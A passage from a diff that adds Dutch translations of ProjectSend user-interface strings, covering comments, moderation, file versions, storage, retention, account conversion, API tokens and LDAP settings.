gereageerd", + "Created the API token \":token_name\"": "Heeft het API-token \":token_name\" aangemaakt", + "Created the category \":subject\"": "Heeft de categorie \":subject\" aangemaakt", + "Created the custom asset \":subject\"": "Heeft de eigen asset \":subject\" aangemaakt", + "Created the custom field \":name\"": "Heeft het aangepaste veld \":name\" aangemaakt", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Heeft :files bestand(en) en :folders map(pen) van het verwijderde account \":name\" verwijderd", + "Deleted a comment on the file \":subject\"": "Heeft een reactie op het bestand \":subject\" verwijderd", + "Deleted the category \":name\"": "Heeft de categorie \":name\" verwijderd", + "Deleted the custom asset \":name\"": "Heeft de eigen asset \":name\" verwijderd", + "Deleted the custom field \":name\"": "Heeft het aangepaste veld \":name\" verwijderd", + "Deleted the expired file \":name\"": "Heeft het verlopen bestand \":name\" verwijderd", + "Disabled the custom asset \":subject\"": "Heeft de eigen asset \":subject\" uitgeschakeld", + "Edited a comment on the file \":subject\"": "Heeft een reactie op het bestand \":subject\" bewerkt", + "Enabled the custom asset \":subject\"": "Heeft de eigen asset \":subject\" ingeschakeld", + "Made the file \":subject\" private": "Heeft het bestand \":subject\" op privé gezet", + "Made the file \":subject\" public": "Heeft het bestand \":subject\" openbaar gemaakt", + "Made the folder \":subject\" private": "Heeft de map \":subject\" op privé gezet", + "Made the folder \":subject\" public": "Heeft de map \":subject\" openbaar gemaakt", + "Made the group \":subject\" private": "Heeft de groep \":subject\" op privé gezet", + "Made the group \":subject\" public": "Heeft de groep \":subject\" openbaar gemaakt", + "Previewed the file \":subject\"": "Heeft het bestand \":subject\" in het voorbeeld bekeken", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Heeft :files bestand(en) en :folders map(pen) van het verwijderde account \":name\" opnieuw toegewezen aan :target", + "Renamed the category to \":subject\"": "Heeft de categorie hernoemd naar \":subject\"", + "Revoked the API token \":token_name\"": "Heeft het API-token \":token_name\" ingetrokken", + "Updated the API token \":token_name\"": "Heeft het API-token \":token_name\" bijgewerkt", + "Updated the custom asset \":subject\"": "Heeft de eigen asset \":subject\" bijgewerkt", + "Updated the custom field \":name\"": "Heeft het aangepaste veld \":name\" bijgewerkt", + "Manage client custom fields": "Aangepaste klantvelden beheren", + "Moderate comments": "Reacties modereren", + "Only me": "Alleen ik", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Zichtbaar voor iedereen die dit bestand kan openen, ook voor bezoekers die niet ingelogd zijn.", + "Anyone, including visitors who are not logged in": "Iedereen, ook bezoekers die niet ingelogd zijn", + "Staff and clients": "Team en klanten", + "Staff only": "Alleen het team", + "No files — commenting is off": "Geen bestanden — reageren staat uit", + "Only files marked as commentable": "Alleen bestanden die voor reacties openstaan", + "Public files only": "Alleen openbare bestanden", + "Shared files only": "Alleen gedeelde bestanden", + "(blank = inheriting the site default)": "(leeg = neemt de standaard van de site over)", + "(blank = unlimited, no site default is set)": "(leeg = onbeperkt, er is geen standaard voor de site ingesteld)", + "(deleted file)": "(verwijderd bestand)", + ":authorName commented on \":fileName\"": ":authorName heeft gereageerd op \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName heeft gereageerd op \":fileName\" en wacht op goedkeuring", + ":count comments": ":count reacties", + ":count file updated.|:count files updated.": ":count bestand bijgewerkt.|:count bestanden bijgewerkt.", + ":count waiting for approval": ":count wachten op goedkeuring", + ":guest commented on the file \":subject\"": ":guest heeft gereageerd op het bestand \":subject\"", + ":name — files": ":name — bestanden", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated van de :requested geselecteerde bestanden zijn bijgewerkt. De rest is overgeslagen omdat je geen recht hebt ze te bewerken.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Een uitgesproken koptekst rond je logo — past bij de Gallery-stijl voor een verzorgde inbox in je eigen huisstijl.", + "Access": "Toegang", + "Access key": "Toegangssleutel", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Accounts waarvoor deze instelling geldt, mogen alleen bestanden uploaden waarvan de extensie in de lijst hieronder staat.", + "A clean, neutral layout that works well for any kind of file sharing.": "Een strakke, neutrale indeling die voor elke vorm van bestanden delen goed werkt.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Een reactie van iemand die niet ingelogd is, blijft verborgen tot een moderator hem goedkeurt.", + "A comment is waiting for approval": "Een reactie wacht op goedkeuring", + "Activity history for :name": "Activiteitengeschiedenis van :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Een dagelijkse taak verwijdert bestanden definitief zodra de vervaldatum en de respijtperiode hieronder verstreken zijn.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Een dagelijkse taak verwijdert lokale verweesde bestanden definitief zodra ze ouder zijn dan de respijtperiode hieronder.", + "Add categories": "Categorieën toevoegen", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Voegt bij het reageren op een openbaar zichtbaar bestand de optie \"Iedereen\" toe. Zonder dit bereiken reacties alleen mensen die ingelogd zijn.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Een compacte lijst in spreadsheetstijl waarin meer bestanden op het scherm passen — ideaal voor grote collecties en wie vaak uploadt.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Een fotoraster over de volle breedte, gemaakt om visueel te bladeren — de beste keuze voor fotografen en beeldrijke collecties.", + "Allow clients to add files to this folder from their portal.": "Klanten toestaan vanuit hun portaal bestanden aan deze map toe te voegen.", + "Allow comments on this file": "Reacties op dit bestand toestaan", + "Allowed file extensions": "Toegestane bestandsextensies", + "Allow public comments": "Openbare reacties toestaan", + "and :count more": "en nog :count", + "Anonymous": "Anoniem", + "Anonymous downloads": "Anonieme downloads", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Geldt voor elke klant zonder eigen quotum, ook voor wie zich zelf registreert. Zet op 0 voor geen standaard (onbeperkt, tenzij een klant een eigen limiet heeft).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "De pagina van een openbare groep is altijd bereikbaar via de eigen link zodra je die als openbaar markeert — deze pagina bepaalt alleen de basis-URL en een optioneel overzicht dat alle openbare groepen en bestanden in één keer toont.", + "A reset link will be sent if the account exists.": "Als het account bestaat, wordt er een herstellink verstuurd.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Een ruime, kleurrijke indeling geïnspireerd op cloudopslag-apps, met duidelijke pictogrammen per bestandstype en veel witruimte.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Een uitgeklede, ingetogen vormgeving zonder opsmuk — past bij de Compact-stijl.", + "Auto approve new accounts": "Nieuwe accounts automatisch goedkeuren", + "Automatically delete expired files": "Verlopen bestanden automatisch verwijderen", + "Automatically delete orphan files": "Verweesde bestanden automatisch verwijderen", + "A visitor commented on a file": "Een bezoeker heeft op een bestand gereageerd", + "Awaiting approval": "Wacht op goedkeuring", + "Back": "Terug", + "Be careful when changing this list — it can affect the security of this installation.": "Wees voorzichtig met het wijzigen van deze lijst — het kan de beveiliging van deze installatie beïnvloeden.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Leeg = neemt de standaard van de site over (nu :default MB). Vul een waarde in om deze klant een eigen limiet te geven.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Leeg = onbeperkt (er is geen standaard voor de site ingesteld). Vul een waarde in om deze klant een eigen limiet te geven.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Blauwe accenten en een strakke structuur geïnspireerd op cloudopslag-apps — past bij de Drive-stijl.", + "Branding": "Huisstijl", + "Bucket": "Bucket", + "Bulk edit :count files": ":count bestanden in bulk bewerken", + "by": "door", + "Change at least one field before applying a bulk edit.": "Wijzig minstens één veld voordat je een bulkbewerking toepast.", + "Check for updates": "Controleren op updates", + "Client access": "Klanttoegang", + "Client downloads": "Downloads van klanten", + "Clients can register themselves": "Klanten kunnen zichzelf registreren", + "Clients only": "Alleen klanten", + "Comment approved.": "Reactie goedgekeurd.", + "Comment deleted.": "Reactie verwijderd.", + "Comments": "Reacties", + "Comments are closed on this file.": "Reageren is gesloten voor dit bestand.", + "Comments already written stay readable even if a file stops accepting new ones.": "Al geschreven reacties blijven leesbaar, ook als een bestand geen nieuwe meer aanneemt.", + "Comments awaiting approval": "Reacties die op goedkeuring wachten", + "Comment settings": "Reactie-instellingen", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Reacties van bezoekers die niet ingelogd zijn. Niemand ziet ze totdat jij ze goedkeurt.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Koppel een externe S3-compatibele bucket (AWS S3, MinIO of een andere S3-compatibele dienst) als opslag voor nieuwe uploads.", + "Custom endpoint": "Eigen endpoint", + "Custom field created.": "Aangepast veld aangemaakt.", + "Custom field deleted.": "Aangepast veld verwijderd.", + "Custom field updated.": "Aangepast veld bijgewerkt.", + "Custom range": "Aangepaste periode", + "Default storage quota (MB)": "Standaard opslagquotum (MB)", + "Delete account?": "Account verwijderen?", + "Delete failed job?": "Mislukte taak verwijderen?", + "Delete them permanently": "Ze definitief verwijderen", + "Delete this comment?": "Deze reactie verwijderen?", + "Delete this many days after being found": "Verwijderen na dit aantal dagen sinds het vinden", + "Delete this many days after expiry": "Verwijderen na dit aantal dagen na het verlopen", + "Download :name": ":name downloaden", + "Downloaded by": "Gedownload door", + "Download history": "Downloadgeschiedenis", + "Download history for :name": "Downloadgeschiedenis van :name", + "Duration": "Duur", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Elk bestand heeft op zijn bewerkpagina de schakelaar \"Reacties op dit bestand toestaan\". Alleen bestanden waarbij die aanstaat, nemen reacties aan.", + "edited": "bewerkt", + "Editing window (minutes)": "Bewerktermijn (minuten)", + "Email settings saved.": "E-mailinstellingen opgeslagen.", + "Error": "Fout", + "Every download, newest first": "Elke download, nieuwste eerst", + "Every download across the installation, newest first": "Elke download op deze installatie, nieuwste eerst", + "Every recorded action, newest first": "Elke vastgelegde actie, nieuwste eerst", + "Expiration": "Vervaldatum", + "Expired :date": "Verlopen op :date", + "Expired only": "Alleen verlopen", + "Extension, e.g. pdf": "Extensie, bijv. pdf", + "Failed at": "Mislukt op", + "Failed job deleted.": "Mislukte taak verwijderd.", + "Failed jobs": "Mislukte taken", + "Failed to connect: :error": "Verbinden mislukt: :error", + "File retention": "Bestandsbewaring", + "File retention settings": "Instellingen voor bestandsbewaring", + "Files accessible to :name": "Bestanden die toegankelijk zijn voor :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Bestanden die op schijf staan zonder bijbehorend record — een afgebroken upload, een herstelactie, handmatige toegang tot het bestandssysteem", + "Files that accept comments": "Bestanden die reacties aannemen", + "Filters": "Filters", + "Folder renamed.": "Map hernoemd.", + "Folders": "Mappen", + "Grid view": "Rasterweergave", + "Hold comments from visitors for approval": "Reacties van bezoekers vasthouden voor goedkeuring", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Hoe lang na het plaatsen iemand de eigen reactie nog kan bewerken of verwijderen. Zet op 0 om het nooit toe te staan.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Hoe lang een verlopen bestand bewaard blijft voordat het definitief wordt verwijderd. 0 verwijdert het op de dag dat het verloopt.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Hoe lang een verweesd bestand bewaard blijft voordat het definitief wordt verwijderd. 0 verwijdert het op de dag dat het wordt gevonden.", + "IP address": "IP-adres", + "Job queued for retry.": "Taak in de wachtrij gezet voor een nieuwe poging.", + "Language: :language": "Taal: :language", + "Last month": "Vorige maand", + "Last ran": "Laatst uitgevoerd", + "Last week": "Vorige week", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Laat leeg voor AWS S3. Vul dit in om een S3-compatibele dienst zoals MinIO of Backblaze te gebruiken.", + "Leave empty for a file that never expires.": "Laat leeg voor een bestand dat nooit verloopt.", + "Limit file types uploading to": "Bestandstypen bij het uploaden beperken voor", + "List view": "Lijstweergave", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Maak deze map openbaar. Elk bestand erin — nu en later, op elk niveau — wordt ook openbaar.", + "Message": "Bericht", + "Moving": "Bezig met verplaatsen", + "Never run": "Nooit uitgevoerd", + "Next cleanup :date": "Volgende opschoning op :date", + "No accounts match \":search\".": "Geen account komt overeen met \":search\".", + "Nobody (no restriction)": "Niemand (geen beperking)", + "No comments yet.": "Nog geen reacties.", + "No expired files.": "Geen verlopen bestanden.", + "No extensions added yet.": "Nog geen extensies toegevoegd.", + "No failed jobs.": "Geen mislukte taken.", + "No files match these filters.": "Geen bestand voldoet aan deze filters.", + "None of the selected files could be edited.": "Geen van de geselecteerde bestanden kon worden bewerkt.", + "Nothing is waiting for approval.": "Er wacht niets op goedkeuring.", + "of :count": "van :count", + "of :quota": "van :quota", + "on": "op", + "Only the fields you change here are applied — everything else is left as-is.": "Alleen de velden die je hier wijzigt, worden toegepast — de rest blijft zoals het is.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Alleen uploads van na het activeren van deze opslag worden geraakt. Bestanden die al lokaal staan, blijven daar en blijven werken — er is geen migratie tussen opslagvormen.", + "Open public page": "Openbare pagina openen", + "Optional. Confines uploads to a subfolder within the bucket.": "Optioneel. Beperkt uploads tot een submap binnen de bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Het automatisch verwijderen van verweesde bestanden werkt alleen op lokale opslag en blijft dus uit zolang externe opslag actief is — ook als het eerder aanstond.", + "Orphan files": "Verweesde bestanden", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Bij cloudaccounts gaat uitgaande e-mail via een centraal beheerde relay. Je kunt nog steeds het afzenderadres en de afzendernaam kiezen die ontvangers zien.", + "Page": "Pagina", + "Path prefix": "Padvoorvoegsel", + "Pending": "In behandeling", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Controleert periodiek of de openbare repository van projectsend.org een nieuwere versie heeft en toont een melding in het overzicht. Er wordt nooit automatisch iets gedownload of doorgevoerd.", + "Permanently failed": "Definitief mislukt", + "Post comment": "Reactie plaatsen", + "Preview of :name": "Voorbeeld van :name", + "Previous month": "Vorige maand", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "De klassieke e-mailstijl van ProjectSend — eenvoudig en neutraal, en past bij elk openbaar of portaalthema.", + "ProjectSend :version is available": "ProjectSend :version is beschikbaar", + "Public folder": "Openbare map", + "Published :date": "Gepubliceerd op :date", + "Queue": "Wachtrij", + "Reassign them to another account": "Ze aan een ander account toewijzen", + "Region": "Regio", + "Remove a category": "Een categorie verwijderen", + "Remove categories": "Categorieën verwijderen", + "Rename folder": "Map hernoemen", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Vereist door de meeste S3-compatibele diensten (MinIO enz.). Laat uit voor AWS S3.", + "Requires Upload files": "Vereist \"Bestanden uploaden\"", + "Retry": "Opnieuw proberen", + "Root": "Hoofdmap", + "Scheduler": "Planner", + "Scheduler settings": "Plannerinstellingen", + "Search accounts…": "Accounts zoeken…", + "Search and filter": "Zoeken en filteren", + "Secret key": "Geheime sleutel", + "Select files to bulk-edit them": "Selecteer bestanden om ze in bulk te bewerken", + "Sender identity": "Afzenderidentiteit", + "Set to…": "Instellen op…", + "Share": "Delen", + "Shared with client": "Gedeeld met klant", + "Shared with me": "Met mij gedeeld", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Wie een map deelt, deelt alles erin — nu en later. Beheer het delen via de bewerkpagina.", + "Someone commented on a file": "Iemand heeft op een bestand gereageerd", + "Sort by": "Sorteren op", + "Storage settings": "Opslaginstellingen", + "Storage settings saved.": "Opslaginstellingen opgeslagen.", + "Success: connected to bucket \":bucket\".": "Gelukt: verbonden met bucket \":bucket\".", + "Task": "Taak", + "Test connection": "Verbinding testen", + "Test result": "Testresultaat", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Dit account bezit :files bestand(en) en :folders map(pen). Wat moet daarmee gebeuren?", + "This cannot be undone.": "Dit kan niet ongedaan worden gemaakt.", + "This client has no accessible files yet.": "Deze klant heeft nog geen toegankelijke bestanden.", + "This deletion is permanent": "Deze verwijdering is definitief", + "This file is public because it's inside the public folder \":name\".": "Dit bestand is openbaar omdat het in de openbare map \":name\" staat.", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Deze map kan niet worden verwijderd: er staat :count bestand in dat je niet zelf hebt geüpload.|Deze map kan niet worden verwijderd: er staan :count bestanden in die je niet zelf hebt geüpload.", + "This removes it from the failed jobs list without retrying it.": "Dit haalt hem uit de lijst met mislukte taken zonder hem opnieuw te proberen.", + "Total size": "Totale grootte", + "To update, run:": "Voer dit uit om bij te werken:", + "Unavailable while external storage is active": "Niet beschikbaar zolang externe opslag actief is", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Anders dan bij een verlopen bestand heeft een verweesd bestand geen databaserij om zacht te verwijderen — is het weg, dan is er geen weg terug.", + "Unlimited storage": "Onbeperkte opslag", + "Update :count files": ":count bestanden bijwerken", + "Uploaded and shared": "Geüpload en gedeeld", + "Uploaded by client": "Geüpload door de klant", + "Uploaded by me": "Door mij geüpload", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Geüpload door de klant, of rechtstreeks aan hen toegewezen, via een groep of via een gedeelde map.", + "Uploading into \":name\".": "Bezig met uploaden naar \":name\".", + "Upload settings saved.": "Uploadinstellingen opgeslagen.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Uploadinstellingen opgeslagen. Let op: :extensions toestaan kan gevaarlijk zijn — houd ze alleen op de lijst als je het risico begrijpt.", + "used": "gebruikt", + "Used in the public folder URL.": "Wordt gebruikt in de URL van de openbare map.", + "Use external storage for new uploads": "Externe opslag gebruiken voor nieuwe uploads", + "Use path-style addressing": "Padgebaseerde adressering gebruiken", + "View all downloads (:count)": "Alle downloads bekijken (:count)", + "View full history (:count)": "Volledige geschiedenis bekijken (:count)", + "View release notes": "Release-opmerkingen bekijken", + "View release notes on GitHub": "Release-opmerkingen op GitHub bekijken", + "Visitor": "Bezoeker", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Bezoekers die niet ingelogd zijn, kunnen alleen openbare reacties schrijven; dit heeft dus geen effect totdat je hieronder openbare reacties toestaat.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Wat er met een bestand gebeurt zodra het verloopt, of zodra er een zonder eigenaar op schijf opduikt", + "Where": "Waar", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Of geplande taken echt draaien, en welke e-mail in de wachtrij niet verstuurd kon worden", + "Who can comment on files, and which files accept comments": "Wie op bestanden mag reageren, en welke bestanden reacties aannemen", + "Who can see this": "Wie dit kan zien", + "Who can write a comment": "Wie een reactie mag schrijven", + "Write a comment…": "Schrijf een reactie…", + "You cannot grant permissions your own role does not have: :permissions": "Je kunt geen rechten toekennen die je eigen rol niet heeft: :permissions", + "You need upload permission to create folders": "Je hebt uploadrechten nodig om mappen aan te maken", + "Your comment will be reviewed before it appears.": "Je reactie wordt beoordeeld voordat hij verschijnt.", + "Your name": "Je naam", + "— No change —": "— Geen wijziging —", + "Newest first": "Nieuwste eerst", + "Oldest first": "Oudste eerst", + "Name (A–Z)": "Naam (A–Z)", + "Name (Z–A)": "Naam (Z–A)", + "Largest first": "Grootste eerst", + "Smallest first": "Kleinste eerst", + "Transfers": "Overdrachten", + "Top clients by storage": "Grootste klanten qua opslag", + "Largest files": "Grootste bestanden", + "Expired files": "Verlopen bestanden", + "A private note. Nobody else can read it, staff included.": "Een privénotitie. Niemand anders kan hem lezen, het team ook niet.", + "Reply": "Beantwoorden", + "Replying to :name": "Antwoord aan :name", + "The team working on this file. No client ever sees it.": "Het team dat aan dit bestand werkt. Geen enkele klant ziet dit.", + "With :name": "Met :name", + "Your reply goes to :name only, and to staff.": "Je antwoord gaat alleen naar :name en naar het team.", + "Your reply goes to the same people as the comment above.": "Je antwoord gaat naar dezelfde mensen als de reactie hierboven.", + "Public comments are turned off for this site.": "Openbare reacties staan uit voor deze site.", + "Only a file that is publicly visible can have public comments.": "Alleen een openbaar zichtbaar bestand kan openbare reacties hebben.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Het team en iedereen met wie dit bestand gedeeld is. Klanten zien elkaar niet.", + "Everyone above, plus anyone who opens this file without logging in.": "Iedereen hierboven, plus iedereen die dit bestand opent zonder in te loggen.", + "Not signed in": "Niet ingelogd", + "New comment on \":name\"": "Nieuwe reactie op \":name\"", + ":author commented on \":name\".": ":author heeft gereageerd op \":name\".", + ":author commented on \":name\"": ":author heeft gereageerd op \":name\"", + "Read the comment": "De reactie lezen", + ":count new comments": ":count nieuwe reacties", + "There are :count new comments for you:": "Er zijn :count nieuwe reacties voor je:", + "Someone": "Iemand", + "New comment on a file": "Nieuwe reactie op een bestand", + "Multiple new comments (digest)": "Meerdere nieuwe reacties (samenvatting)", + "Marked the file \":subject\" as a revision of \":previous\"": "Heeft het bestand \":subject\" gemarkeerd als herziening van \":previous\"", + "Removed the version link from the file \":subject\"": "Heeft de versiekoppeling van het bestand \":subject\" verwijderd", + "A file was marked as a revision of another": "Een bestand is gemarkeerd als herziening van een ander", + "A file version link was removed": "Een versiekoppeling is verwijderd", + "A newer version of a file I have is available": "Er is een nieuwere versie van een bestand dat ik heb", + "A newer version of \":previousName\" is available: :itemName": "Er is een nieuwere versie van \":previousName\" beschikbaar: :itemName", + "A newer version of a file you have is available": "Er is een nieuwere versie van een bestand dat je hebt", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" is vervangen door een nieuwere versie: \":name\".", + ":count files you have were replaced by newer versions": ":count bestanden die je hebt zijn vervangen door nieuwere versies", + "Newer versions of the following :count files are available:": "Van de volgende :count bestanden zijn nieuwere versies beschikbaar:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Een bestand kan geen herziening van zichzelf zijn.", + "That file is already part of this file's version history.": "Dat bestand maakt al deel uit van de versiegeschiedenis van dit bestand.", + "That file has already been revised by \":name\". Remove that link first.": "Dat bestand is al herzien door \":name\". Verwijder die koppeling eerst.", + "That file has just been revised by another file. Reload and try again.": "Dat bestand is zojuist door een ander bestand herzien. Vernieuw de pagina en probeer het opnieuw.", + "This version history is too long. Remove an older link first.": "Deze versiegeschiedenis is te lang. Verwijder eerst een oudere koppeling.", + "That file can't be used as the previous version.": "Dat bestand kan niet als vorige versie worden gebruikt.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Dit bestand is al met anderen gedeeld en kan daarom niet als nieuwe versie worden gemarkeerd. Vraag je contactpersoon om het voor je te doen.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Dit bestand is een nieuwe versie van \":name\". Beheer het delen bij \":name\" — elke versie volgt dat bestand.", + "This file is a new version of another file, and is shared with the same people as that one.": "Dit bestand is een nieuwe versie van een ander bestand en wordt met dezelfde mensen gedeeld als dat bestand.", + "Versions": "Versies", + "Mark this file as a newer version of something you uploaded before.": "Markeer dit bestand als nieuwere versie van iets dat je eerder hebt geüpload.", + "This version is outdated": "Deze versie is verouderd", + "It was replaced by \":name\".": "Hij is vervangen door \":name\".", + "This file is a new version of": "Dit bestand is een nieuwe versie van", + "Remove link": "Koppeling verwijderen", + "Mark as a new version": "Als nieuwe versie markeren", + "Version history": "Versiegeschiedenis", + "Version link removed.": "Versiekoppeling verwijderd.", + "This file is now marked as a new version of \":name\".": "Dit bestand is nu gemarkeerd als nieuwe versie van \":name\".", + "Share this file's recipients with the original?": "De ontvangers van dit bestand ook aan het origineel toevoegen?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Een nieuwe versie wordt met dezelfde mensen gedeeld als het origineel. Deze ontvangers van dit bestand worden eraan toegevoegd, zodat niemand de toegang verliest:", + "No other files are available to link to.": "Er zijn geen andere bestanden om aan te koppelen.", + "Shared through \":name\"": "Gedeeld via \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Dit bestand is een nieuwe versie van \":name\" en wordt daarom met dezelfde mensen gedeeld. Wie het mag zien, wijzig je bij dat bestand.", + "Edit sharing on \":name\"": "Delen van \":name\" bewerken", + "You don't have permission to change who that file is shared with.": "Je hebt geen recht om te wijzigen met wie dat bestand gedeeld wordt.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Dit is een nieuwe versie van \":name\" en wordt met dezelfde mensen gedeeld. Beheer het delen bij dat bestand.", + "New version of": "Nieuwe versie van", + "Replaced by": "Vervangen door", + "Outdated": "Verouderd", + "New version": "Nieuwe versie", + "Replaced by :name": "Vervangen door :name", + "Replaces :name": "Vervangt :name", + "There is a newer version of this file": "Er is een nieuwere versie van dit bestand", + "This replaces": "Dit vervangt", + "This is a new version of a file I uploaded before": "Dit is een nieuwe versie van een bestand dat ik eerder heb geüpload", + "Search your files…": "Je bestanden doorzoeken…", + "You have no earlier files that can be replaced.": "Je hebt geen eerdere bestanden die vervangen kunnen worden.", + "This file will be shared with the same people who have \":name\".": "Dit bestand wordt gedeeld met dezelfde mensen die \":name\" hebben.", + ":name (group)": ":name (groep)", + "Search files…": "Bestanden zoeken…", + "Search…": "Zoeken…", + "Searching…": "Bezig met zoeken…", + "No files match \":search\".": "Geen bestand komt overeen met \":search\".", + "Nothing matches \":search\".": "Niets komt overeen met \":search\".", + "A client account was converted to staff": "Een klantaccount is omgezet naar een teamaccount", + "A staff account was converted to a client": "Een teamaccount is omgezet naar een klantaccount", + "A client account was created from the directory": "Er is een klantaccount aangemaakt vanuit de directory", + "Converted the client account \":subject\" to staff (:role)": "Heeft het klantaccount \":subject\" omgezet naar een teamaccount (:role)", + "Converted the staff account \":subject\" to a client": "Heeft het teamaccount \":subject\" omgezet naar een klantaccount", + "Created a client account from the directory on first sign-in": "Heeft bij de eerste aanmelding een klantaccount aangemaakt vanuit de directory", + "Convert accounts": "Accounts omzetten", + "Convert": "Omzetten", + "Convert to client": "Omzetten naar klant", + "Convert to staff": "Omzetten naar teamaccount", + "Convert :name to a client": ":name omzetten naar een klant", + "Convert :name to staff": ":name omzetten naar een teamaccount", + "Client → staff": "Klant → team", + "Staff → client": "Team → klant", + "Move an account between staff and clients. Files they uploaded are always kept.": "Verplaats een account tussen team en klanten. Geüploade bestanden blijven altijd behouden.", + "They lose access to every staff screen immediately.": "De toegang tot alle teamschermen vervalt onmiddellijk.", + "They gain access to the staff screens their role allows.": "Er ontstaat toegang tot de teamschermen die de rol toelaat.", + "Will be revoked": "Wordt ingetrokken", + "Will be revoked and cannot be undone": "Wordt ingetrokken en kan niet ongedaan worden gemaakt", + "Will be kept": "Blijft behouden", + "Nothing": "Niets", + "Nothing to keep": "Niets te behouden", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Terug omzetten herstelt alles onder \"Blijft behouden\". Wat is ingetrokken, komt niet terug.", + ":files files and :folders folders they uploaded": ":files bestanden en :folders mappen die dit account heeft geüpload", + "No accounts match these filters.": "Geen account voldoet aan deze filters.", + "Account converted to a client.": "Account omgezet naar een klant.", + "Account converted to staff.": "Account omgezet naar een teamaccount.", + "Approve or deny this account request before converting it.": "Keur deze accountaanvraag goed of weiger hem voordat je hem omzet.", + "You cannot convert your own account.": "Je kunt je eigen account niet omzetten.", + "New password": "Nieuw wachtwoord", + "New password (optional)": "Nieuw wachtwoord (optioneel)", + "Leave blank to keep their current password.": "Laat leeg om het huidige wachtwoord te behouden.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Dit account logt in via je directory. Teamaccounts doen dat nooit, dus het heeft hier een wachtwoord nodig — anders is inloggen helemaal niet meer mogelijk.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Stel een wachtwoord in voor dit account. Het logt nu in via je directory, iets wat teamaccounts nooit doen.", + "Tokens created": "Aangemaakte tokens", + "Currently active": "Nu actief", + ":count active": ":count actief", + "1 permission": "1 recht", + ":count permissions": ":count rechten", + "This token carries no permissions.": "Dit token draagt geen enkel recht.", + "This account has created API tokens before, but none are live now.": "Dit account heeft eerder API-tokens aangemaakt, maar er is er nu geen actief.", + "This account has never created an API token.": "Dit account heeft nooit een API-token aangemaakt.", + "No longer granted to this account, so it does nothing.": "Wordt niet meer aan dit account toegekend en doet dus niets.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Alleen :name kan deze aanmaken, wijzigen of intrekken — een beheerder kan ze wel zien, maar niet beheren.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Wat dit token via de API mag doen. Het kan nooit meer dan :name zelf mag.", + "LDAP": "LDAP", + "LDAP settings": "LDAP-instellingen", + "LDAP settings saved.": "LDAP-instellingen opgeslagen.", + "Directory": "Directory", + "Connection": "Verbinding", + "Server": "Server", + "Base DN": "Basis-DN", + "Service account DN": "DN van het serviceaccount", + "Service account password": "Wachtwoord van het serviceaccount", + "Email attribute": "E-mailattribuut", + "Name attribute": "Naamattribuut", + "Additional filter (optional)": "Aanvullend filter (optioneel)", + "CA certificate path (optional)": "Pad naar CA-certificaat (optioneel)", + "None 